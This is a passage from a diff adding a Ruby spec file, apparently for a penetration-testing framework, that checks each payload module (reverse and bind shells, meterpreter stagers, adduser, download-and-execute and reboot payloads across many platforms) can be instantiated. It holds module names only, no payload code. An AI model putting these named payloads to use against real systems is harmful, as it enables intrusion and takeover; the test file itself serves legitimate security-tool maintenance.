+ 'singles/bsd/x86/shell_find_tag' + ], + modules_pathname: modules_pathname, + reference_name: 'bsd/x86/shell_find_tag' + end + + context 'bsd/x86/shell_reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/bsd/x86/shell_reverse_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'bsd/x86/shell_reverse_tcp' + end + + context 'bsd/x86/shell_reverse_tcp_ipv6' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/bsd/x86/shell_reverse_tcp_ipv6' + ], + modules_pathname: modules_pathname, + reference_name: 'bsd/x86/shell_reverse_tcp_ipv6' + end + + context 'bsdi/x86/shell/bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/bsdi/x86/bind_tcp', + 'stages/bsdi/x86/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'bsdi/x86/shell/bind_tcp' + end + + context 'bsdi/x86/shell/reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/bsdi/x86/reverse_tcp', + 'stages/bsdi/x86/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'bsdi/x86/shell/reverse_tcp' + end + + context 'bsdi/x86/shell_bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/bsdi/x86/shell_bind_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'bsdi/x86/shell_bind_tcp' + end + + context 'bsdi/x86/shell_find_port' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/bsdi/x86/shell_find_port' + ], + modules_pathname: modules_pathname, + reference_name: 'bsdi/x86/shell_find_port' + end + + context 'bsdi/x86/shell_reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/bsdi/x86/shell_reverse_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'bsdi/x86/shell_reverse_tcp' + end + + context 'cmd/unix/bind_awk' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/cmd/unix/bind_awk' + ], + modules_pathname: modules_pathname, + reference_name: 'cmd/unix/bind_awk' + end + + context 'cmd/unix/bind_inetd' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/cmd/unix/bind_inetd' + ], + modules_pathname: modules_pathname, + reference_name: 'cmd/unix/bind_inetd' + end + + context 'cmd/unix/bind_lua' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/cmd/unix/bind_lua' + ], + modules_pathname: modules_pathname, + reference_name: 'cmd/unix/bind_lua' + end + + context 'cmd/unix/bind_netcat' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/cmd/unix/bind_netcat' + ], + modules_pathname: modules_pathname, + reference_name: 'cmd/unix/bind_netcat' + end + + context 'cmd/unix/bind_netcat_gaping' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/cmd/unix/bind_netcat_gaping' + ], + modules_pathname: modules_pathname, + reference_name: 'cmd/unix/bind_netcat_gaping' + end + + context 'cmd/unix/bind_netcat_gaping_ipv6' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/cmd/unix/bind_netcat_gaping_ipv6' + ], + modules_pathname: modules_pathname, + reference_name: 'cmd/unix/bind_netcat_gaping_ipv6' + end + + context 'cmd/unix/bind_nodejs' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/cmd/unix/bind_nodejs' + ], + modules_pathname: modules_pathname, + reference_name: 'cmd/unix/bind_nodejs' + end + + context 'cmd/unix/bind_perl' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/cmd/unix/bind_perl' + ], + modules_pathname: modules_pathname, + reference_name: 'cmd/unix/bind_perl' + end + + context 'cmd/unix/bind_perl_ipv6' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/cmd/unix/bind_perl_ipv6' + ], + modules_pathname: modules_pathname, + reference_name: 'cmd/unix/bind_perl_ipv6' + end + + context 'cmd/unix/bind_ruby' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/cmd/unix/bind_ruby' + ], + modules_pathname: modules_pathname, + reference_name: 'cmd/unix/bind_ruby' + end + + context 'cmd/unix/bind_ruby_ipv6' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/cmd/unix/bind_ruby_ipv6' + ], + modules_pathname: modules_pathname, + reference_name: 'cmd/unix/bind_ruby_ipv6' + end + + context 'cmd/unix/bind_zsh' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/cmd/unix/bind_zsh' + ], + modules_pathname: modules_pathname, + reference_name: 'cmd/unix/bind_zsh' + end + + context 'cmd/unix/generic' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/cmd/unix/generic' + ], + modules_pathname: modules_pathname, + reference_name: 'cmd/unix/generic' + end + + context 'cmd/unix/interact' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/cmd/unix/interact' + ], + modules_pathname: modules_pathname, + reference_name: 'cmd/unix/interact' + end + + context 'cmd/unix/reverse' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/cmd/unix/reverse' + ], + modules_pathname: modules_pathname, + reference_name: 'cmd/unix/reverse' + end + + context 'cmd/unix/reverse_awk' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/cmd/unix/reverse_awk' + ], + modules_pathname: modules_pathname, + reference_name: 'cmd/unix/reverse_awk' + end + + context 'cmd/unix/reverse_bash' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/cmd/unix/reverse_bash' + ], + modules_pathname: modules_pathname, + reference_name: 'cmd/unix/reverse_bash' + end + + context 'cmd/unix/reverse_bash_telnet_ssl' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/cmd/unix/reverse_bash_telnet_ssl' + ], + modules_pathname: modules_pathname, + reference_name: 'cmd/unix/reverse_bash_telnet_ssl' + end + + context 'cmd/unix/reverse_lua' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/cmd/unix/reverse_lua' + ], + modules_pathname: modules_pathname, + reference_name: 'cmd/unix/reverse_lua' + end + + context 'cmd/unix/reverse_netcat' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/cmd/unix/reverse_netcat' + ], + modules_pathname: modules_pathname, + reference_name: 'cmd/unix/reverse_netcat' + end + + context 'cmd/unix/reverse_netcat_gaping' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/cmd/unix/reverse_netcat_gaping' + ], + modules_pathname: modules_pathname, + reference_name: 'cmd/unix/reverse_netcat_gaping' + end + + context 'cmd/unix/reverse_nodejs' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/cmd/unix/reverse_nodejs' + ], + modules_pathname: modules_pathname, + reference_name: 'cmd/unix/reverse_nodejs' + end + + context 'cmd/unix/reverse_openssl' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/cmd/unix/reverse_openssl' + ], + modules_pathname: modules_pathname, + reference_name: 'cmd/unix/reverse_openssl' + end + + context 'cmd/unix/reverse_perl' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/cmd/unix/reverse_perl' + ], + modules_pathname: modules_pathname, + reference_name: 'cmd/unix/reverse_perl' + end + + context 'cmd/unix/reverse_perl_ssl' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/cmd/unix/reverse_perl_ssl' + ], + modules_pathname: modules_pathname, + reference_name: 'cmd/unix/reverse_perl_ssl' + end + + context 'cmd/unix/reverse_php_ssl' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/cmd/unix/reverse_php_ssl' + ], + modules_pathname: modules_pathname, + reference_name: 'cmd/unix/reverse_php_ssl' + end + + context 'cmd/unix/reverse_python' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/cmd/unix/reverse_python' + ], + modules_pathname: modules_pathname, + reference_name: 'cmd/unix/reverse_python' + end + + context 'cmd/unix/reverse_python_ssl' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/cmd/unix/reverse_python_ssl' + ], + modules_pathname: modules_pathname, + reference_name: 'cmd/unix/reverse_python_ssl' + end + + context 'cmd/unix/reverse_ruby' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/cmd/unix/reverse_ruby' + ], + modules_pathname: modules_pathname, + reference_name: 'cmd/unix/reverse_ruby' + end + + context 'cmd/unix/reverse_ruby_ssl' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/cmd/unix/reverse_ruby_ssl' + ], + modules_pathname: modules_pathname, + reference_name: 'cmd/unix/reverse_ruby_ssl' + end + + context 'cmd/unix/reverse_ssl_double_telnet' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/cmd/unix/reverse_ssl_double_telnet' + ], + modules_pathname: modules_pathname, + reference_name: 'cmd/unix/reverse_ssl_double_telnet' + end + + context 'cmd/unix/reverse_zsh' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/cmd/unix/reverse_zsh' + ], + modules_pathname: modules_pathname, + reference_name: 'cmd/unix/reverse_zsh' + end + + context 'cmd/windows/adduser' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/cmd/windows/adduser' + ], + modules_pathname: modules_pathname, + reference_name: 'cmd/windows/adduser' + end + + context 'cmd/windows/bind_lua' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/cmd/windows/bind_lua' + ], + modules_pathname: modules_pathname, + reference_name: 'cmd/windows/bind_lua' + end + + context 'cmd/windows/bind_perl' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/cmd/windows/bind_perl' + ], + modules_pathname: modules_pathname, + reference_name: 'cmd/windows/bind_perl' + end + + context 'cmd/windows/bind_perl_ipv6' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/cmd/windows/bind_perl_ipv6' + ], + modules_pathname: modules_pathname, + reference_name: 'cmd/windows/bind_perl_ipv6' + end + + context 'cmd/windows/bind_ruby' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/cmd/windows/bind_ruby' + ], + modules_pathname: modules_pathname, + reference_name: 'cmd/windows/bind_ruby' + end + + context 'cmd/windows/download_eval_vbs' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/cmd/windows/download_eval_vbs' + ], + modules_pathname: modules_pathname, + reference_name: 'cmd/windows/download_eval_vbs' + end + + context 'cmd/windows/download_exec_vbs' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/cmd/windows/download_exec_vbs' + ], + modules_pathname: modules_pathname, + reference_name: 'cmd/windows/download_exec_vbs' + end + + context 'cmd/windows/generic' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/cmd/windows/generic' + ], + modules_pathname: modules_pathname, + reference_name: 'cmd/windows/generic' + end + + context 'cmd/windows/reverse_lua' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/cmd/windows/reverse_lua' + ], + modules_pathname: modules_pathname, + reference_name: 'cmd/windows/reverse_lua' + end + + context 'cmd/windows/reverse_perl' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/cmd/windows/reverse_perl' + ], + modules_pathname: modules_pathname, + reference_name: 'cmd/windows/reverse_perl' + end + + context 'cmd/windows/reverse_powershell' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/cmd/windows/reverse_powershell' + ], + modules_pathname: modules_pathname, + reference_name: 'cmd/windows/reverse_powershell' + end + + context 'cmd/windows/reverse_ruby' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/cmd/windows/reverse_ruby' + ], + modules_pathname: modules_pathname, + reference_name: 'cmd/windows/reverse_ruby' + end + + context 'firefox/exec' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/firefox/exec' + ], + modules_pathname: modules_pathname, + reference_name: 'firefox/exec' + end + + context 'firefox/shell_bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/firefox/shell_bind_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'firefox/shell_bind_tcp' + end + + context 'firefox/shell_reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/firefox/shell_reverse_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'firefox/shell_reverse_tcp' + end + + context 'generic/custom' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/generic/custom' + ], + modules_pathname: modules_pathname, + reference_name: 'generic/custom' + end + + context 'generic/debug_trap' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/generic/debug_trap' + ], + modules_pathname: modules_pathname, + reference_name: 'generic/debug_trap' + end + + context 'generic/shell_bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/generic/shell_bind_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'generic/shell_bind_tcp' + end + + context 'generic/shell_reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/generic/shell_reverse_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'generic/shell_reverse_tcp' + end + + context 'generic/tight_loop' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/generic/tight_loop' + ], + modules_pathname: modules_pathname, + reference_name: 'generic/tight_loop' + end + + context 'java/jsp_shell_bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/java/jsp_shell_bind_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'java/jsp_shell_bind_tcp' + end + + context 'java/jsp_shell_reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/java/jsp_shell_reverse_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'java/jsp_shell_reverse_tcp' + end + + context 'java/meterpreter/bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/java/bind_tcp', + 'stages/java/meterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'java/meterpreter/bind_tcp' + end + + context 'java/meterpreter/reverse_http' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/java/reverse_http', + 'stages/java/meterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'java/meterpreter/reverse_http' + end + + context 'java/meterpreter/reverse_https' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/java/reverse_https', + 'stages/java/meterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'java/meterpreter/reverse_https' + end + + context 'java/meterpreter/reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/java/reverse_tcp', + 'stages/java/meterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'java/meterpreter/reverse_tcp' + end + + context 'java/shell/bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/java/bind_tcp', + 'stages/java/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'java/shell/bind_tcp' + end + + context 'java/shell/reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/java/reverse_tcp', + 'stages/java/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'java/shell/reverse_tcp' + end + + context 'java/shell_reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/java/shell_reverse_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'java/shell_reverse_tcp' + end + + context 'linux/armle/adduser' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/linux/armle/adduser' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/armle/adduser' + end + + context 'linux/armle/exec' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/linux/armle/exec' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/armle/exec' + end + + context 'linux/armle/shell/bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/linux/armle/bind_tcp', + 'stages/linux/armle/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/armle/shell/bind_tcp' + end + + context 'linux/armle/shell/reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/linux/armle/reverse_tcp', + 'stages/linux/armle/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/armle/shell/reverse_tcp' + end + + context 'linux/armle/shell_bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/linux/armle/shell_bind_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/armle/shell_bind_tcp' + end + + context 'linux/armle/shell_reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/linux/armle/shell_reverse_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/armle/shell_reverse_tcp' + end + + context 'linux/mipsbe/exec' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/linux/mipsbe/exec' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/mipsbe/exec' + end + + context 'linux/mipsbe/reboot' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/linux/mipsbe/reboot' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/mipsbe/reboot' + end + + context 'linux/mipsbe/shell/reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/linux/mipsbe/reverse_tcp', + 'stages/linux/mipsbe/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/mipsbe/shell/reverse_tcp' + end + + context 'linux/mipsbe/shell_bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/linux/mipsbe/shell_bind_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/mipsbe/shell_bind_tcp' + end + + context 'linux/mipsbe/shell_reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/linux/mipsbe/shell_reverse_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/mipsbe/shell_reverse_tcp' + end + + context 'linux/mipsle/exec' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/linux/mipsle/exec' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/mipsle/exec' + end + + context 'linux/mipsle/reboot' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/linux/mipsle/reboot' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/mipsle/reboot' + end + + context 'linux/mipsle/shell/reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/linux/mipsle/reverse_tcp', + 'stages/linux/mipsle/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/mipsle/shell/reverse_tcp' + end + + context 'linux/mipsle/shell_bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/linux/mipsle/shell_bind_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/mipsle/shell_bind_tcp' + end + + context 'linux/mipsle/shell_reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/linux/mipsle/shell_reverse_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/mipsle/shell_reverse_tcp' + end + + context 'linux/ppc/shell_bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/linux/ppc/shell_bind_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/ppc/shell_bind_tcp' + end + + context 'linux/ppc/shell_find_port' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/linux/ppc/shell_find_port' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/ppc/shell_find_port' + end + + context 'linux/ppc/shell_reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/linux/ppc/shell_reverse_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/ppc/shell_reverse_tcp' + end + + context 'linux/ppc64/shell_bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/linux/ppc64/shell_bind_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/ppc64/shell_bind_tcp' + end + + context 'linux/ppc64/shell_find_port' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/linux/ppc64/shell_find_port' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/ppc64/shell_find_port' + end + + context 'linux/ppc64/shell_reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/linux/ppc64/shell_reverse_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/ppc64/shell_reverse_tcp' + end + + context 'linux/x64/exec' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/linux/x64/exec' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/x64/exec' + end + + context 'linux/x64/shell/bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/linux/x64/bind_tcp', + 'stages/linux/x64/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/x64/shell/bind_tcp' + end + + context 'linux/x64/shell/reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/linux/x64/reverse_tcp', + 'stages/linux/x64/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/x64/shell/reverse_tcp' + end + + context 'linux/x64/shell_bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/linux/x64/shell_bind_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/x64/shell_bind_tcp' + end + + context 'linux/x64/shell_bind_tcp_random_port' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/linux/x64/shell_bind_tcp_random_port' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/x64/shell_bind_tcp_random_port' + end + + context 'linux/x64/shell_find_port' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/linux/x64/shell_find_port' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/x64/shell_find_port' + end + + context 'linux/x64/shell_reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/linux/x64/shell_reverse_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/x64/shell_reverse_tcp' + end + + context 'linux/x86/adduser' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/linux/x86/adduser' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/x86/adduser' + end + + context 'linux/x86/chmod' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/linux/x86/chmod' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/x86/chmod' + end + + context 'linux/x86/exec' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/linux/x86/exec' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/x86/exec' + end + + context 'linux/x86/meterpreter/bind_ipv6_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/linux/x86/bind_ipv6_tcp', + 'stages/linux/x86/meterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/x86/meterpreter/bind_ipv6_tcp' + end + + context 'linux/x86/meterpreter/bind_nonx_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/linux/x86/bind_nonx_tcp', + 'stages/linux/x86/meterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/x86/meterpreter/bind_nonx_tcp' + end + + context 'linux/x86/meterpreter/bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/linux/x86/bind_tcp', + 'stages/linux/x86/meterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/x86/meterpreter/bind_tcp' + end + + context 'linux/x86/meterpreter/find_tag' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/linux/x86/find_tag', + 'stages/linux/x86/meterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/x86/meterpreter/find_tag' + end + + context 'linux/x86/meterpreter/reverse_ipv6_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/linux/x86/reverse_ipv6_tcp', + 'stages/linux/x86/meterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/x86/meterpreter/reverse_ipv6_tcp' + end + + context 'linux/x86/meterpreter/reverse_nonx_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/linux/x86/reverse_nonx_tcp', + 'stages/linux/x86/meterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/x86/meterpreter/reverse_nonx_tcp' + end + + context 'linux/x86/meterpreter/reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/linux/x86/reverse_tcp', + 'stages/linux/x86/meterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/x86/meterpreter/reverse_tcp' + end + + context 'linux/x86/metsvc_bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/linux/x86/metsvc_bind_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/x86/metsvc_bind_tcp' + end + + context 'linux/x86/metsvc_reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/linux/x86/metsvc_reverse_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/x86/metsvc_reverse_tcp' + end + + context 'linux/x86/read_file' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/linux/x86/read_file' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/x86/read_file' + end + + context 'linux/x86/shell/bind_ipv6_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/linux/x86/bind_ipv6_tcp', + 'stages/linux/x86/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/x86/shell/bind_ipv6_tcp' + end + + context 'linux/x86/shell/bind_nonx_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/linux/x86/bind_nonx_tcp', + 'stages/linux/x86/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/x86/shell/bind_nonx_tcp' + end + + context 'linux/x86/shell/bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/linux/x86/bind_tcp', + 'stages/linux/x86/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/x86/shell/bind_tcp' + end + + context 'linux/x86/shell/find_tag' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/linux/x86/find_tag', + 'stages/linux/x86/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/x86/shell/find_tag' + end + + context 'linux/x86/shell/reverse_ipv6_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/linux/x86/reverse_ipv6_tcp', + 'stages/linux/x86/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/x86/shell/reverse_ipv6_tcp' + end + + context 'linux/x86/shell/reverse_nonx_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/linux/x86/reverse_nonx_tcp', + 'stages/linux/x86/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/x86/shell/reverse_nonx_tcp' + end + + context 'linux/x86/shell/reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/linux/x86/reverse_tcp', + 'stages/linux/x86/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/x86/shell/reverse_tcp' + end + + context 'linux/x86/shell_bind_ipv6_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/linux/x86/shell_bind_ipv6_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/x86/shell_bind_ipv6_tcp' + end + + context 'linux/x86/shell_bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/linux/x86/shell_bind_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/x86/shell_bind_tcp' + end + + context 'linux/x86/shell_bind_tcp_random_port' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/linux/x86/shell_bind_tcp_random_port' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/x86/shell_bind_tcp_random_port' + end + + context 'linux/x86/shell_find_port' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/linux/x86/shell_find_port' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/x86/shell_find_port' + end + + context 'linux/x86/shell_find_tag' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 